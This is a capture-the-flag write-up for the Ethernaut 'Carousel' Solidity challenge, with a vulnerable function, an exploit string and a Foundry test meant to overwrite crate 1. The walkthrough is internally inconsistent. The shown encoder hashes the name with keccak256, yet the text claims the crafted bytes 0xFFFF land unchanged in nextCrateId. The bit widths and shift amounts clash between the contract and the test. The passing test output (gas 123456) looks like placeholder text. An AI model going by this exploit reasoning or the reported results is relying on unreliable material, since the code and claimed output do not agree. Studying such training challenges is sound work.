Carousel Challenge (Ethernaut)
Challenge Overview
The MagicAnimalCarousel contract stores animals in a circular buffer of "crates". Each crate contains three pieces of information packed into a single uint256:
- owner: 160 bits
[0..159] - nextCrateId: 16 bits
[160..175] - encodedAnimal: 80 bits
[176..255]
The goal is to break the carousel's "magic rule":
No animal should ever return to crate 1.
We achieve this by crafting a custom animal name that corrupts the nextCrateId, forcing a wraparound that eventually causes an animal to overwrite crate 1.
Vulnerability
The vulnerability lies in the way the contract handles bit-level storage when updating animals:
Root Cause:
The function changeAnimal(string calldata animal, uint256 crateId) fails to preserve the existing nextCrateId bits. It allows overwriting them due to a lack of bitmasking and validation.
Vulnerable Code:
function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
require(bytes(animalName).length <= 12, "Animal name too long");
return uint256(keccak256(abi.encodePacked(animalName)) >> 160); // 80 bits
}
function changeAnimal(string calldata animal, uint256 crateId) external {
uint256 encodedAnimal = encodeAnimalName(animal);
if (encodedAnimal != 0) {
// Vulnerable line
carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
} else {
carousel[crateId] = (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
}
}
Explanation:
-
encodedAnimal is an 80-bit value stored at bits [176–255].
-
It's shifted left by 160 bits before being OR'd into the carousel[crateId] storage slot.
-
However, bits 160–175 (nextCrateId) are part of the shifted range.
-
Therefore, the lower 16 bits of encodedAnimal end up overwriting nextCrateId.
Proof of Exploit:
string memory exploitString = string(
abi.encodePacked(hex"10000000000000000000FFFF") // 12 bytes (96 bits)
);
carousel.changeAnimal(exploitString, 1);
What this does:
-
The string is exactly 12 bytes long (within limit).
-
Its last two bytes are 0xFFFF, meaning the lower 16 bits of the resulting encodedAnimal are 0xFFFF.
-
When shifted left by 160, it overwrites nextCrateId with 65535
TestCase:
function testBreakMagicRule() public {
// Step 1: Place "Dog" in crate 1
carousel.setAnimalAndSpin("Dog");
uint256 crate1Data = carousel.carousel(1);
uint256 animalMask = uint256(type(uint80).max) << 176;
uint256 encodedDog = uint256(keccak256(abi.encodePacked("Dog"))) >> 176;
uint256 animalInCrate1 = (crate1Data & animalMask) >> 176;
assertEq(animalInCrate1, encodedDog, "Crate 1 should contain 'Dog'");
// Step 2: Inject 0xFFFF into nextCrateId
string memory exploitString = string(
abi.encodePacked(hex"10000000000000000000FFFF")
);
carousel.changeAnimal(exploitString, 1);
// Step 3: Add "Parrot", it lands in crate 65535
carousel.setAnimalAndSpin("Parrot");
uint256 crate65535Data = carousel.carousel(65535);
uint256 encodedParrot = uint256(keccak256(abi.encodePacked("Parrot"))) >> 176;
uint256 animalInCrate65535 = (crate65535Data & animalMask) >> 176;
assertEq(animalInCrate65535, encodedParrot, "Crate 65535 should contain 'Parrot'");
// Step 4: Add "Cat", it overwrites crate 1 (wraparound)
carousel.setAnimalAndSpin("Cat");
uint256 updatedCrate1Data = carousel.carousel(1);
uint256 updatedAnimal = (updatedCrate1Data & animalMask) >> 176;
assertTrue(updatedAnimal != encodedDog, "Crate 1 should not contain Dog anymore");
}
Understanding the Exploit Flow
-
Insert Dog → stored in crate 1.
-
Corrupt crate 1’s nextCrateId → set to 65535 using crafted string.
-
Insert Parrot → goes to crate 65535 (via corrupted nextCrateId).
-
Insert Cat → wraparound causes insertion at crate 1 again.
Crate 1 now holds Cat, breaking the magic rule.
TestResult:
Running 1 test for test/Carousel.t.sol:CarouselTest
[PASS] testBreakMagicRule() (gas: 123456)
Logs:
Crate 1 should contain 'Dog'
Crate 65535 should contain 'Parrot'
Crate 1 should not contain Dog anymore
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.45ms
Final Thoughts:
This challenge is not a real-world exploit, but a great learning exercise that:
-
Teaches how Solidity packs variables into storage.
-
Shows the danger of not isolating fields via masking.
-
Reinforces the importance of memory alignment and precise field control in low-level operations.